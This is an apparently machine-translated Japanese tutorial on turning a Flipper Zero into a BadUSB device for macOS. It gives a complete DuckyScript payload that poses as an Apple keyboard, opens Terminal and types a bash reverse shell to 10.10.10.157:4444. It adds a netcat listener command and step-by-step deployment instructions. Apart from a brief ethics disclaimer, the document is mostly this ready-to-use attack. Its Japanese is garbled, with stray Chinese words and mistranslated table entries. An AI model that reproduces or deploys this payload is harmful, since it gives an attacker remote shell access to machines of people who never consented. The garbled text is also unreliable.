この記事は、Flipper Zero を Ethical Pentesting BadUSB デバイスとして施用する手段と、そのようなエクスプロイトの犠牲になることを避让する手段の例です。あなたが全部していない、または施用する権限を持っていないコンピューターでは、これを施用しないでください。このコードは、浸入検知システム (IDS)、浸入以防システム (IPS)、ネットワーク検知システム、ファイアウォール、またはウイルス対策 (AV) ソフトウェアから隠そうとはしません。
ID 05ac:021e Apple:Keyboard
DELAY 1000
GUI SPACE
DELAY 200
STRING terminal
DELAY 200
ENTER
DELAY 1000
STRING bash -i >& /dev/tcp/10.10.10.157/4444 0>&1
DELAY 1000
ENTER
DELAY 1000
指示器 | 説明 |
---|---|
ID 05ac:021e アップル:キーボード | この行は、Flipper Zero が実際には Apple キーボードであることを macOS に伝えます。この行を应用しない場合、macOS は [キーボード セットアップ アシスタント] ダイアログを表示法し、スクリプトが失敗します。 |
遅れ | このコマンドは、オペレーティング システムに特定時間待機するように指示箭头します。これらの遅延を适用しないと、スクリプトの実行が速すぎて失敗します。 |
GUI スペース | Apple コマンド キーとスペース バーを押して、[Spotlight 検索] ウィンドウを開きます。 |
STRING ターミナル | Spotlight 検索ウィンドウに「Terminal」という照片文字列を入力します。 |
入力 | キーボードの ENTER キーまたは Return キーを押します。 ENTER キーを押すと、macOS はターミナル ウィンドウ (/Applications/Utilities/Terminal) を起動します。 |
STRING bash -i >& /dev/tcp/10.10.10.157/4444 0>&1 | このコマンドは、ポート 4444 の 10.10.10.157 でリッスンする Netcat サーバーへの接続を確立するターミナル ウィンドウにテキストを入力します。 |
10.10.10.157とポート4444 のIP アドレスをサーバーの IP アドレスとポートに変更します。
このファイルをrev_shell_macos.txtとしてディスクに保存します。 Flipper Zero のbadusbディレクトリの下にはサブディレクトリ編成がないため、異なるオペレーティング システムで複数のペイロードを使用している場合は、それが何をするのかを理解できるように、自分にとって意味のある命名規則を使用してください。
SD カードのアイコンを選択してダブルクリックし、内容を表示します。
前に作成したrev_shell_macos.txtファイルを見つけて、 badusbフォルダーにドラッグします。
$ nc -nlvp 4444
提示 | オプション |
---|---|
NC | Netcat コマンド |
-nlvp | ( n ) DNS 解決なし、( l ) 着信接続をリッスン、( v ) 詳細出力、( p ) ポート |
4444 | リッスンするポートav番号 |
Netcat リスナーの準備が整い、着信接続を待機するようになったので、Flipper Zero BadUSB 攻撃を続行できます。
難しい部分は完了です。 Flipper Zero BadUSB reverse_shell_macos.txtファイルが書き込まれ、Flipper Zero に移動され、Netcat リスナーが接続を待機しています。
前の手順でコピーした DuckyScript ファイルに移動します。このファイルが表示されない場合は、間違ったディレクトリにコピーしています。 rev_shell_macosを選択し、[実行] ボタンをクリックします。
Connect to USBアラートが表示されたら、Flipper Zero を iMac または MacBook の USB ポートに接続できます。 [実行] ボタンをクリックします。
メイン ウィンドウで、BadUSB スクリプトの進行状況を確認できます。ステータスが 100% に達するとペイロードが好了し、フリッパー ゼロを取り外すことができます。
iMac のコンピューターのモニターを見ていると、DuckyScript を実行するエクスプロイトを見ることができます。 Ubuntu サーバーの Netcat リスナーは、取得胜利した请求の結果を表达出来します。
whoami 、 pwd 、 ls 、 cdなどの通常の Linux コマンドを使用して、ファイル システムをナビゲートし、オペレーティング システムを操作できます。